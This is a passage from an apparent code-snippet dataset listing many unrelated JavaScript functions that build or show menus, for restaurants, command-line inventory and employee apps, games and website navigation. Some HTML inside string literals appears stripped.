    \n );\n }\n \n }","function menuItems() {\n const farmMenu = document.createElement('div');\n farmMenu.classList.add('menu');\n \n farmMenu.appendChild(createItem(\n 'beef tartare', \n '$14',\n 'egestas pretium aenean pharetra magna ac placerat vestibulum'));\n farmMenu.appendChild(createItem(\n 'mussels provencale',\n '$20',\n 'sed adipiscing diam donec adipiscing tristique risus nec'));\n farmMenu.appendChild(createItem(\n 'scallops', \n '$18',\n 'vitae congue mauris rhoncus aenean vel elit scelerisque'));\n farmMenu.appendChild(createItem(\n 'flemish onion soup', \n '$10',\n 'elit ullamcorper dignissim cras tincidunt lobortis feugiat vivamus'));\n farmMenu.appendChild(createItem(\n 'braised short ribs', \n '$22',\n 'sagittis purus sit amet volutpat consequat mauris nunc'));\n farmMenu.appendChild(createItem(\n 'wedge salad', \n '$10',\n 'nibh sed pulvinar proin gravida hendrerit lectus a'));\n farmMenu.appendChild(createItem(\n 'charcuterie', \n '$16',\n 'non blandit massa enim nec dui nunc mattis'));\n\n return farmMenu;\n }","function showShop() {\n\tmenuHideAll();\n\t$('#shop').show();\n\tmenuResetColors();\n\tmenuSetColor('shopBox');\n}","function showMenu( el, type ) {\n\tvar list;\n\tvar type;\n\tvar target;\n\n\tlist = el.childNodes;\n\n\tif( type == null ) {\n\t\ttype = 'TABLE';\n\t}\n\n\tif ( el.className == \"menutitle\" ) {\n\t\t// el.style.color = \"#4c6490\";\n\t\tel.style.color = \"#eeeeff\";\n\t\tel.style.backgroundColor = 'white';\n\t\tel.style.borderStyle = 'solid';\n\t\tel.style.borderWidth = '1px';\n\t\tel.style.borderColor = '#4c6490';\n\t\tel.style.margin = '1px';\n\t}\n\n\tfor ( i=0; i < list.length; i++ ) {\n\t\tif(( list[i].nodeName == 'DIV' ) &&\n\t\t\t( list[i].className == \"submenuitem\" ) ) {\n\t\t\tlist[i].style.borderStyle = 'solid';\n\t\t\tlist[i].style.borderColor = '#ccc';\n\t\t\tlist[i].style.borderWidth = '1px';\n\t\t\tlist[i].style.backgroundColor = '#fefeff';\n\t\t}\n\n\t\tif( list[i].nodeName != type ) {\n\t\t\tcontinue;\n\t\t};\n\n\t\tfadeInit ( list[i], 'in' );\n\t}\n}","function display_start_menu() {\n\tstart_layer.show();\n\tstart_layer.moveToTop();\n\t\n\tdisplay_menu(\"start_layer\");\n\tcharacter_layer.moveToTop();\n\tcharacter_layer.show();\n\tinventory_bar_layer.show();\n\t\n\tstage.draw();\n\t\n\tplay_music('start_layer');\n}","function getMenu(str) {\n \n\tmanageDOM.clearContent(\"content\");\n \n\t// query mongoDB for cached menu\n\tlet day = str === \"today\" ? \"Today\" : \"Tomorrow\";\n\tlet menuDay = Menu.findOne( {\"day\": day});\n \n\t// Builds html elements for either today's or tomorrow's menu\n\tmenuDay.exec( (err, data) => {\n\t\tif (err) throw (err);\n\t\telse if (data != null) {\n\t\t\tlet arr = [];\n\t\t\tlet i = 1;\n\n\t\t\tif (data.meal_0 != null) { arr.push(JSON.parse(data.meal_0)); }\n\t\t\tif (data.meal_1 != null) { arr.push(JSON.parse(data.meal_1)); }\n\t\t\tif (data.meal_2 != null) { arr.push(JSON.parse(data.meal_2)); }\n \n\t\t\t// create an array of elements to build the DOM\n\t\t\tlet meal_list = [\"cantina-wrapper center-div\", \"cantina-greet\"];\n\t\t\tfor (let j = 0; j < arr.length; j++) {\n\t\t\t\tmeal_list.push(\"spacer\" + i);\n\t\t\t\tmeal_list.push(\"time\" + i);\n\t\t\t\tmeal_list.push(\"meal\" + i);\n\t\t\t\ti++;\n\t\t\t}\n\t\t\tif (data.cafe42 != null) {\n\t\t\t\tmeal_list.push(\"spacer\" + i);\n\t\t\t\tmeal_list.push(\"cafe\");\n\t\t\t}\n\n\t\t\tmanageDOM.array2Div(meal_list);\n \n\t\t\tdocument.getElementById(\"cantina-greet\").innerHTML = \"the 42 cantina menu for \" + str + \" is\";\n \n\t\t\t// for each div, give it a class and add appropriate content whether it is time or meal descroption\n\t\t\tfor (i = 2; i < meal_list.length; i++) {\n\t\t\t\tif (meal_list[i][0] === \"t\") {\n\t\t\t\t\tlet date = new moment(Date.parse(arr[Math.floor((i - 2) / 3)].begin_at));\n\t\t\t\t\tlet date_end = new moment(Date.parse(arr[Math.floor((i - 2) / 3)].end_at));\n\t\t\t\t\tlet t = document.getElementById(meal_list[i]);\n\t\t\t\t\tlet item = arr[Math.floor((i - 1) / 3)];\n\t\t\t\t\tt.setAttribute(\"class\", \"cantina-hours\");\n\t\t\t\t\tt.innerHTML = \"\\\n $\" + item.price + \" -- \\\n Served from \" + date.format(\"HH:mm\") + \" until \" + date_end.format(\"HH:mm\") + \":\"; \n\t\t\t\t}\n\t\t\t\telse if (meal_list[i][0] === \"m\") {\n\t\t\t\t\tlet m = document.getElementById(meal_list[i]);\n\t\t\t\t\tm.setAttribute(\"class\", \"meal\");\n\t\t\t\t\tlet item = arr[Math.floor((i - 2) / 3)];\n\t\t\t\t\tlet br = item.menu;\n\n\t\t\t\t\t// Replaces 'line feed' and 'carriage return' with and HTML break\n\t\t\t\t\tbr = br.replace(/\\r\\n/g, \"
    \");\n\t\t\t\t\tm.innerHTML = br; \n\t\t\t\t}\n\t\t\t\telse if (meal_list[i][0] === \"c\") {\n\t\t\t\t\tlet c = document.getElementById(\"cafe\");\n\t\t\t\t\tc.setAttribute(\"class\", \"meal\");\n\t\t\t\t\tlet cafe42 = JSON.parse(data.cafe42);\n\t\t\t\t\tlet cafe42Menu = cafe42.menu;\n\t\t\t\t\tcafe42Menu = cafe42Menu.replace(/\\r\\n/g, \"
    \").replace(\"cafe 42\",\n\t\t\t\t\t\t\"Cafe 42: ~ \\\n \\\n $\" + cafe42.price + \"\");\n\t\t\t\t\tc.innerHTML = cafe42Menu;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tlet s = document.getElementById(meal_list[i]);\n\t\t\t\t\ts.setAttribute(\"class\", \"spacing\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tconsole.log(\"Error retrieving Cantina menu from Mongo DB\");\n\t\t}\n\t});\n}","function dashSubMenu(){\n\t\t\tif(wid <= 600){\n\t\t\t\tmenuHS();\t\n\t\t\t}\n\t\t\t\n\t\t\t$(\"#dashInSubMenuId\").css(\"background-color\", \"#0E0E0E\");\n\t\t\t$(\"#costInSubMenuId\").css(\"background-color\", \"#3C3C3C\");\n\t\t\t$(\"#sellInSubMenuId\").css(\"background-color\", \"#3C3C3C\");\n\t\t\t$(\"#stockMenuId\").css(\"background-color\", \"#3C3C3C\");\n\t\t\t$(\"#settingInSubMenuId\").css(\"background-color\", \"#3C3C3C\");\n\t\t\twindow.location.assign(\"index.php\");\n}","function openNewGameMenu () {\n document.getElementById('menu-background').style.display = 'block';\n document.getElementById('menu-content').style.display = 'block';\n}","function AddCustomMenuItems(menu) {\n menu.AddItem(strMenuItemLoop, \n (doLoop == 1) ? gddMenuItemFlagChecked : 0, OnMenuClicked);\n menu.AddItem(strMenuItemShuffle, \n (doShuffle == 1) ? gddMenuItemFlagChecked : 0, OnMenuClicked);\n}","function supervisorMenu() {\n inquirer\n .prompt({\n name: 'apple',\n type: 'list',\n message: 'What would you like to do?'.yellow,\n choices: ['View Product Sales by Department',\n 'View/Update Department',\n 'Create New Department',\n 'Exit']\n })\n .then(function (pick) {\n switch (pick.apple) {\n case 'View Product Sales by Department':\n departmentSales();\n break;\n case 'View/Update Department':\n updateDepartment();\n break;\n case 'Create New Department':\n createDepartment();\n break;\n case 'Exit':\n connection.end();\n break;\n }\n });\n}","function init_dash() {\n dropDown();\n}","setupMenu () {\n let dy = 17;\n // create buttons for the action categories\n this.menu.createButton(24, 0, () => this.selectionMode = 'info', this, null, 'info');\n this.menu.createButton(41, 0, () => this.selectionMode = 'job', this, null, 'job');\n // create buttons for each command\n for (let key of Object.keys(this.jobCommands)) {\n let button = this.menu.createButton(0, dy, () => this.jobCommand = key, this, this.jobCommands[key].name);\n dy += button.height + 1;\n }\n // set the hit area for the menu\n this.menu.calculateHitArea();\n // menu is closed by default\n this.menu.hideMenu();\n }","function displayMenu() {\n inquirer.prompt(menuChoices).then((response) => {\n switch (response.selection) {\n case \"View Departments\":\n //call function that shows all departments\n viewDepartments();\n break;\n\n case \"Add Department\":\n //call function that adds a department\n addDepartment();\n break;\n\n case \"View Roles\":\n getRole();\n break;\n\n case \"Add Role\":\n addRole();\n break;\n\n case \"View Employees\":\n viewEmployee();\n break;\n\n case \"Add Employee\":\n addEmployee();\n break;\n\n case \"Update Employee\":\n break;\n\n default:\n connection.end();\n process.exit();\n // quit the app\n }\n });\n}","function onOpen() {\n ui.createMenu('Daily Delivery Automation')\n .addItem('Run', 'confirmStart').addToUi();\n}","function menu() {\n\t\n // Title of Game\n title = new createjs.Text(\"Poker Room\", \"50px Bembo\", \"#FF0000\");\n title.x = width/3.1;\n title.y = height/4;\n\n // Subtitle of Game\n subtitle = new createjs.Text(\"Let's Play Poker\", \"30px Bembo\", \"#FF0000\");\n subtitle.x = width/2.8;\n subtitle.y = height/2.8;\n\n // Creating Buttons for Game\n addToMenu(title);\n addToMenu(subtitle);\n startButton();\n howToPlayButton();\n\n // update to show title and subtitle\n stage.update();\n}","function Restaurant(name, menu){\n this.name = name;\n this.menu = menu;\n}","function menuzordActive () {\n if ($(\"#menuzord\").length) {\n $(\"#menuzord\").menuzord({\n indicatorFirstLevel: ''\n });\n };\n}","function C999_Common_Achievements_MainMenu() {\n C999_Common_Achievements_ResetImage();\n\tSetScene(\"C000_Intro\", \"ChapterSelect\");\n}","function getMenus(restaurant) {\n restaurantId = restaurant || \"\";\n if (restaurantId) {\n restaurantId = \"/?restaurant_id=\" + restaurantId;\n }\n $.get(\"/api/menus\" + restaurantId, function (data) {\n console.log(\"Menus\", data);\n menus = data;\n if (!menus || !menus.length) {\n displayEmpty(restaurant);\n }\n else {\n initializeRows();\n }\n });\n }","showMenu() {\n this._game = null;\n this.stopRefresh();\n this._view.renderMenu();\n this._view.bindStartGame(this.startGame.bind(this));\n this._view.bindShowScores(this.showScores.bind(this));\n }","function mainMenu() {\n inquirer\n .prompt({\n name: \"action\",\n type: \"rawlist\",\n message: \"What would you like to do?\",\n choices: [\n \"Add Departments\",\n \"Add Roles\",\n \"Add Employees\",\n \"View Departments\",\n \"View Roles\",\n \"View Employees\",\n \"Update Role\",\n \"Update Manager\"\n // \"View Employees by Manager\"\n ]\n })\n // Case statement for selection of menu item\n .then(function(answer) {\n switch (answer.action) {\n case \"Add Departments\":\n addDepartments();\n break;\n case \"Add Roles\":\n addRoles();\n break;\n case \"Add Employees\":\n addEmployees();\n break;\n case \"View Departments\":\n viewDepartments();\n break;\n\n case \"View Roles\":\n viewRoles();\n break;\n case \"View Employees\":\n viewEmployees();\n break;\n case \"Update Role\":\n updateRole();\n break;\n case \"Update Manager\":\n updateManager();\n break;\n // case \"View Employees by Manager\":\n // viewEmployeesByManager();\n // break;\n }\n });\n}","renderMenu(data) {\n // check if there is 1 valid category\n if (data.size < 1) {\n selectors.$content.append(`

    Infelizmente, nenhuma notícia foi encontrada!

    `)\n console.log(\"nenhuma categoria encontrada\");\n return;\n }\n\n data.forEach(el => {\n selectors.$menu.append(`
  • ${el.nome}

  • `)\n })\n\n\n selectors.$menu.find(\"li\").filter(\".item\").on('click', (e) => {\n this._initShowNews(e.currentTarget.id)\n })\n }","function toMenu() {\n\tclearScreen();\n\tviewPlayScreen();\n}","function menu() {\n inquirer\n .prompt({\n name: \"menuOptions\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\"View Products\", \"View Low Inventory\", \"Add Inventory\", \"Add New Product\"]\n })\n .then(function(answer) {\n // based on their answer, run appropriate function\n if (answer.menuOptions === \"View Products\") {\n viewProducts();\n }\n else if (answer.menuOptions === \"View Low Inventory\") {\n viewLowInventory();\n }\n else if (answer.menuOptions === \"Add Inventory\") {\n addInventory();\n }\n else if (answer.menuOptions === \"Add New Product\") {\n addNewProduct();\n }\n else {\n connection.end();\n }\n });\n}","function testMenuPostion( menu ){\n \n }","showQuickMenu() { $(`#${this.quickMenuId}`).show(); }","function menu(){\n inquirer.prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\",\n \"exit\"\n ]\n }).then(function(answer){\n switch(answer.action){\n case \"View Products for Sale\":\n products();\n break;\n\n case \"View Low Inventory\":\n lowInventory();\n break;\n\n case \"Add to Inventory\":\n addToInventory();\n break;\n\n case \"Add New Product\":\n addProduct();\n break;\n\n case \"exit\":\n connection.end();\n break;\n }\n });\n}","function itemMenu(e) {\n\te.preventDefault();\n\tItemSelection = e.target;\n\tconst[idx, isSource] = findNode(ItemSelection);\n\tconst elemName = (isSource) ? \"sourceDropdown\" : \"deviceDropdown\";\n\tconst menu = document.getElementById(elemName);\n\tmenu.style.top = `${e.pageY}px`;\n\tmenu.style.left = `2rem`;\n\tmenu.classList.toggle(\"show\");\n}","function showHoodies()\n{\n\t//show all items with theid 'hoodies'\n\tdocument.getElementById('hoodies').style.display = \"block\";\n\t//hide all other items\n\tdocument.getElementById('hats').style.display = \"none\";\n\tdocument.getElementById('accessories').style.display = \"none\";\n\tdocument.getElementById('skate').style.display = \"none\";\n\tdocument.getElementById('show').style.display = \"block\";\n}","constructor(){\n super();\n this.menu = [\n {\n path: '/',\n title: 'Home'\n },\n {\n path: '/npc',\n title: 'Npc\\'s'\n },\n {\n path: '/enemies',\n title: 'Enemies'\n },\n {\n path: '/bosses',\n title: 'Bosses'\n },\n {\n path: '/places',\n title: 'Places'\n },\n {\n path: '/about',\n title: 'About'\n },\n ];\n }","function showMenu() {\n if(newGame) {\n $('#main').show();\n }\n else {\n $('#end').show();\n }\n}","function superfishSetup() {\n\t\t$('#navigation').find('.menu').superfish({\n\t\t\tdelay: 200,\n\t\t\tanimation: {opacity:'show', height:'show'},\n\t\t\tspeed: 'fast',\n\t\t\tcssArrows: true,\n\t\t\tautoArrows: true,\n\t\t\tdropShadows: false\n\t\t});\n\t}","function renderDish(dish) {\n //setting up column and cards to add to the row\n let column = $(\"
    \");\n //Create dish card\n let card = $(\"
    \");\n card.addClass(\"card z-depth-4\");\n card.attr(\"data-number\", dish.dishNumber);\n\n //set up image with title and button---------\n let cardImg = $(\"
    \");\n cardImg.addClass(\"card-image\");\n let img = $(\"\");\n img.attr(\"src\", dish.foodImg);\n //setting up title\n let titleSpan = $(\"\");\n titleSpan.addClass(\"card-title\");\n let title = $(\"

    \");\n titleSpan.append(title);\n cardImg.append(img);\n cardImg.append(titleSpan);\n\n let recipe = $(\"

    \");\n //If no ingredients, dish is part of a choice\n if (!dish.ingredients) {\n //Choices is 3x2 at l\n column.addClass(\"col s12 m6 l4\");\n // Add choice class to attach to an event listener\n card.addClass(\"hoverable choices\");\n // Add button\n let aTag = $(\"\");\n aTag.addClass(\"btn-floating btn-large btn waves-effect waves-red halfway-fab cyan pulse\");\n let iTag = $(\"\");\n iTag.addClass(\"material-icons\");\n iTag.text(\"add\");\n aTag.append(iTag);\n cardImg.append(aTag);\n // Title goes in content \n recipe.text(dish.foodName);\n } else {\n // If dish is not a choice is final result title goes in header and ingredients go in content\n column.addClass(\"col s12 m6 l6\");\n title.text(dish.foodName);\n let header = $(\"

    \").text(\"Ingredients:\");\n recipe.append(header);\n for (let i = 0; i < dish.ingredients.length; i++){\n let ingredient = $(\"

    \");\n ingredient.text(`${i + 1}. ${dish.ingredients[i]}`)\n recipe.append(ingredient);\n }\n }\n\n //setting up content-----------------------\n let content = $(\"

    \");\n content.addClass(\"card-content\");\n content.append(recipe);\n\n //done setting up content / Append everythin to row\n card.append(cardImg);\n card.append(content);\n column.append(card);\n $(\"#choices\").append(column);\n}","function openMenu() {\n g_IsMenuOpen = true;\n}","function handleFastRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const fastDishInput = document.getElementById(\"fast-input\").value;\n const fastfoodMenu = [\"cheeseburger\", \"doubleburger\", \"veganburger\"]\n\n if(fastDishInput == fastfoodMenu[0]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[1]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[2]) {\n restaurantClosing();\n } else {\n fastFoodRestaurantScene();\n }\n}","function getSubChapterMenu(){\n\t\n}","function createMenu() {\n zeroStarArrays();\n num_stars_input = createInput('');\n num_stars_input.position(20, 50);\n submit_num = createButton('# Stars');\n submit_num.position(20 + num_stars_input.width, 50);\n submit_num.mousePressed(setNumStars);\n num_planets_input = createInput('');\n num_planets_input.position(20 + num_stars_input.width + 70, 50);\n submit_num_planets = createButton('# Planets');\n submit_num_planets.position(20 + num_planets_input.width + num_stars_input.width + 70, 50);\n submit_num_planets.mousePressed(setNumPlanets);\n}","function tl_start() {\n $('#futureman_face, #menu-open').css('display', 'inherit');\n $('.menu-open').css('visibility', 'inherit');\n }","function setMenu(menu){ \n switch(menu){\n case 'food-input-icon':\n loadFoodMenu();\n break; \n \n case 'stats-icon':\n loadStatsMenu(); \n break; \n \n case 'settings-icon':\n loadSettingsMenu(); \n break;\n \n case 'share-icon':\n loadShareMenu(); \n break;\n \n case 'sign-out-icon':\n signOut(); \n break;\n case 'nav-icon':\n loadNavMenu(); \n \n }\n}","function handleMenu(){\n\t$(\"#examples-menu\").mouseover(function(){\n\t\tvar position = $(\"#examples-menu\").offset();\n\t\tvar top = $(\"#examples-menu\").outerHeight();\n\t\t$(\"ul.examples\").offset({left:position.left, top:top+position.top});\n\t\t$(\"ul.examples\").show();\n\t})\n\t$(\"h1,table,img,form\").mouseover(function(){\n\t\t$(\"ul.examples\").offset({left:0, top:0});\n\t\t$(\"ul.examples\").hide();\n\t})\t\n}","function mainMenu() {\n inquirer.prompt({\n type: \"list\",\n name: \"action\",\n message: \"What would you like to do?\",\n choices: [\n { name: \"Add something\", value: createMenu },\n { name: \"View something\", value: readMenu },\n { name: \"Change something\", value: updateMenu },\n { name: \"Remove something\", value: deleteMenu },\n { name: \"Quit\", value: quit }\n ]\n }).then(({ action }) => action());\n}","function menu() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"Supervisor's Menu Options:\",\n choices: [\"View Product Sales By Department\", \"Create New Department\", \"Exit\"]\n }\n ]).then(function (answers) {\n if (answers.choice === \"View Product Sales By Department\") {\n displaySales();\n }\n else if (answers.choice === \"Create New Department\") {\n createDepartment();\n }\n else {\n connection.end();\n }\n });\n}","showQuickMenu() { $(`.${this.quickMenu}`).show(); }","function actionOnClick () {\r\n game.state.start(\"nameSelectionMenu\");\r\n}","function mainMenuShow () {\n $ (\"#menuButton\").removeAttr (\"title-1\");\n $ (\"#menuButton\").attr (\"title\", htmlSafe (\"Stäng menyn\")); // i18n\n $ (\"#menuButton\").html (\"×\");\n $ (\".mainMenu\").show ();\n}","function burstMenu(title,color,selected) {\t\njQuery('.menu-item-'+title).mouseover(function () {\n \n jQuery('.show-item-'+title).css({\n visibility: 'visible',\n\t\t'z-index': '2'\n });\n\t\n\t\n jQuery('.menu-item-'+title+' > a').css({\n background: color\n })\n\n jQuery('.show-item-'+title).mouseover(function () {\n jQuery('.show-item-'+title).css({\n visibility: 'visible',\n\t\t\t'z-index': '2'\n });\n jQuery('.menu-item-'+title+' > a').css({\n background: color\n })\n });\n\n jQuery('.show-item-'+title).mouseout(function () {\n jQuery('.show-item-'+title).css({\n visibility: 'hidden'\n });\n jQuery('.menu-item-'+title+' > a').css({\n background: 'inherit'\n })\n });\n\n});\n\njQuery('.menu-item-'+title).mouseout(function () {\n jQuery('.show-item-'+title).css({\n visibility: 'hidden'\n });\n jQuery('.menu-item-'+title+' > a').css({\n background: 'inherit'\n })\n});\n\nif (selected == true) {\n \njQuery('.show-item-'+title).css('cssText', 'visibility: visible !important');\n\n\t jQuery('.menu-item-'+title+' > a').css({\n background: color\n })\n\t\t\t\n\tjQuery('.menu-item-'+title).mouseout(function () {\n jQuery('.show-item-'+title).css('cssText', 'visibility: visible !important');\n jQuery('.menu-item-'+title+' > a').css({\n background: color\n })\n\t\n\t jQuery('.show-item-'+title).mouseout(function () {\n jQuery('.show-item-'+title).css('cssText', 'visibility: visible !important');\n\t jQuery('.menu-item-'+title+' > a').css({\n background: color\n })\n });\n\t\n});\n\t\t\n}\n\t\n}","function qll_module_erepmenu()\r\n{\r\n\tvar menu= new Array();\r\n\tvar ul = new Array();\r\n\r\n\tmenu[0]=document.getElementById('menu');\r\n\tfor(i=1;i<=6;i++)\r\n\t\tmenu[i]=document.getElementById('menu'+i);\r\n\t\r\n//\tmenu[1].innerHTML=menu[1].innerHTML + '
      ';\r\n\tmenu[2].innerHTML=menu[2].innerHTML + '
        ';\r\n\tmenu[3].innerHTML=menu[3].innerHTML + '
          ';\r\n\tmenu[6].innerHTML=menu[6].innerHTML + '
            ';\r\n\t\r\n\tfor(i=1;i<=6;i++)\r\n\t\tul[i]=menu[i].getElementsByTagName(\"ul\")[0];\r\n\t\r\n\tif(qll_opt['module:erepmenu:design'])\r\n\t{\r\n\t\r\n\t\t//object.setAttribute('class','new_feature_small');\r\n\t\t\t\r\n\t//\tmenu[2].getElementsByTagName(\"a\")[0].href = \"http://economy.erepublik.com/en/time-management\";\r\n\t\t\r\n\t\t/*aux = ul[2].removeChild(ul[2].getElementsByTagName(\"li\")[6]);\t// adverts\r\n\t\tul[6].appendChild(aux);\r\n\t\t\r\n\t\t*/\r\n\t\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='
            ' + \"Work\" + '';\r\n\t\tul[2].appendChild(object);\r\n\t\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='' + \"Training grounds\" + '';\r\n\t\tul[2].appendChild(object);\r\n\t\t\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='' + \"Newspaper\" + '';\r\n\t\tul[2].appendChild(object);\r\n\t\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='' + \"Inventory\" + '';\r\n\t\tul[2].appendChild(object);\r\n\t\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='' + \"Organizations\" + '';\r\n\t\tul[2].appendChild(object);\r\n\t\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='' + qll_lang[97] + '';\r\n\t\tul[2].appendChild(object);\r\n\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='' + qll_lang[69] + '';\r\n\t\tul[3].appendChild(object);\r\n\t\t//ul[4].insertBefore(object,ul[4].getElementsByTagName(\"li\")[3])\r\n\t\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='' + \"Loyalty program\" + '';\r\n\t\tul[6].appendChild(object);\r\n\t\t\r\n\t\tobject = document.createElement(\"li\"); \r\n\t\tobject.innerHTML='' + \"Gold bonus\" + '';\r\n\t\tul[6].appendChild(object);\r\n\t\t\r\n\t}\r\n}","function goToMenu() {\n stopTTS();\n cStatus = undefined;\n cStatus = new CurrentStatus();\n $('#quiz').hide('slow');\n $('#game').hide('slow');\n $('#menu').show('slow');\n}","removeDishFromMenu(id) {\n this.menu = this.menu.filter(dish => dish.id !== id)\n }","function initMenu() {\n // Connect Animation\n window.onStepped.Connect(stepMenu);\n\n // Make buttons do things\n let startbutton = document.getElementById('start_button');\n \n //VarSet('S:Continue', 'yielding')\n buttonFadeOnMouse(startbutton);\n startbutton.onclick = startDemo\n\n\n // run tests for prepar3d integration\n runTests();\n}","function dropMenu() {\r\n // the menu content\r\n document.getElementById(\"menu1\").innerHTML = \"Guess Table\";\r\n\r\n}","function menu() {\n if (currentPlayerPokemon.fainted == true) {\n return;\n }\n rollText(\"battle_text\", `What will ${currentPlayerPokemon.name} do?`, 25);\n document.getElementById('buttonsBattle').style['display'] = 'block';\n button1.className = `buttons`;\n button2.className = `buttons`;\n button3.className = `buttons`;\n button4.className = `buttons`;\n button1.innerHTML = `FIGHT`;\n button2.innerHTML = `ITEM`;\n button3.innerHTML = `POKEMON`;\n button4.innerHTML = `RUN`;\n\n button1.onclick = () => fight(currentPlayerPokemon);\n button2.onclick = () => item();\n button3.onclick = () => pokemon(playerParty);\n button4.onclick = () => run();\n}","function mainMenu(){\n\tinquirer.prompt([{\n\t\ttype: \"list\",\n\t\tname: \"introAction\",\n\t\tmessage: \"Welcome, pick an action: \",\n\t\tchoices: [\"Create a Basic Card\", \"Create a Cloze Card\", \"Review Existing Cards\"]\n\t}]).then(function(answers){\n\t\tswitch (answers.introAction) {\n\t\t\tcase \"Create a Basic Card\":\n\t\t\t\tcreateBasicCard();\n\t\t\t\tbreak;\n\t\t\tcase \"Create a Cloze Card\":\n\t\t\t\tcreateClozeCard();\n\t\t\t\tbreak;\n\t\t\tcase \"Review Existing Cards\":\n\t\t\t\treviewCards();\n\t\t\t\tbreak;\n\t\t}\n\t});\n}"],"string":"[\n \"function displayMenu() {\\n const menu = document.querySelector(\\\"#menu\\\");\\n let dishes = hard_coded_dishes;\\n\\n dishes.forEach(dish => {\\n // generate template for main ingredient and the name of the dish\\n const main = displayDish(\\n dish.course,\\n dish.name,\\n dish.price,\\n dish.ingredient\\n );\\n\\n // generate options for each dish\\n const options = [];\\n\\n if (dish.options) {\\n dish.options.forEach(option => {\\n options.push(displayOption(option.option, option.price));\\n });\\n }\\n\\n // add this to the DOM\\n menu.insertAdjacentHTML(\\\"beforeend\\\", main + options.join(\\\"\\\"));\\n });\\n}\",\n \"addDishToMenu(dish) {\\n if(this.menu.includes(dish))\\n {\\n this.removeDishFromMenu(dish.id);\\n }\\n this.menu.push(dish);\\n }\",\n \"function showMenu(arg)\\r\\n\\t{\\r\\n\\t\\tswitch(arg)\\r\\n\\t\\t{\\r\\n\\t\\t\\tcase 0:\\r\\n\\t\\t\\t\\t$('#menu').html(\\\"\\\");\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t\\tcase 1:\\r\\n\\t\\t\\t\\t$('#menu').html(\\\"

            Sheep's Snake

            Press A to play!

            Press B for some help !

            \\\");\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t}\",\n \"function foodMenuItems() {\\r\\n\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tvar $foodItemOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '80%';\\r\\n\\t\\t\\t\\t\\t$($fullscreenSelector + '.nectar_food_menu_item').parent().each(function () {\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\tvar $that = $(this),\\r\\n\\t\\t\\t\\t\\t\\twaypoint = new Waypoint({\\r\\n\\t\\t\\t\\t\\t\\t\\telement: $that,\\r\\n\\t\\t\\t\\t\\t\\t\\thandler: function () {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\twaypoint.destroy();\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\treturn;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t$that.find('.nectar_food_menu_item').each(function (i) {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tvar $that = $(this);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tsetTimeout(function () {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t$that.addClass('animated-in');\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}, i * 150);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t});\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\twaypoint.destroy();\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t},\\r\\n\\t\\t\\t\\t\\t\\t\\toffset: $foodItemOffsetPos\\r\\n\\t\\t\\t\\t\\t\\t});\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t});\\r\\n\\t\\t\\t\\t}\",\n \"getMenu() {alert(\\\"entering grocery.js getMenu()\\\")\\n\\t\\t// Assemble the menu list (meal nodes)\\n\\t\\tthis.menuCloset.destructBoxes()\\n\\t\\tlet mealNodes = graph.getNodesByID_partial(\\\"meal\\\", \\\"\\\")\\n\\t\\tfor (let meal of mealNodes) {\\n\\t\\t\\tif (meal.inMenu) { // i don't think we need to keep track of what's on the menu by using inMenu anymore. I think we can just use groceryListArea.menuCloset.boxes to see what's on the menu. This is the next thing to take a look at and understand better. (todo)\\n\\t\\t\\t\\tthis.menuCloset.add(meal)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tthis.updateGroceryList()\\n\\t}\",\n \"function thememascot_menuzord() {\\n $(\\\"#menuzord\\\").menuzord({\\n align: \\\"left\\\",\\n effect: \\\"slide\\\",\\n animation: \\\"none\\\",\\n indicatorFirstLevel: \\\"\\\",\\n indicatorSecondLevel: \\\"\\\"\\n });\\n $(\\\"#menuzord-right\\\").menuzord({\\n align: \\\"right\\\",\\n effect: \\\"slide\\\",\\n animation: \\\"none\\\",\\n 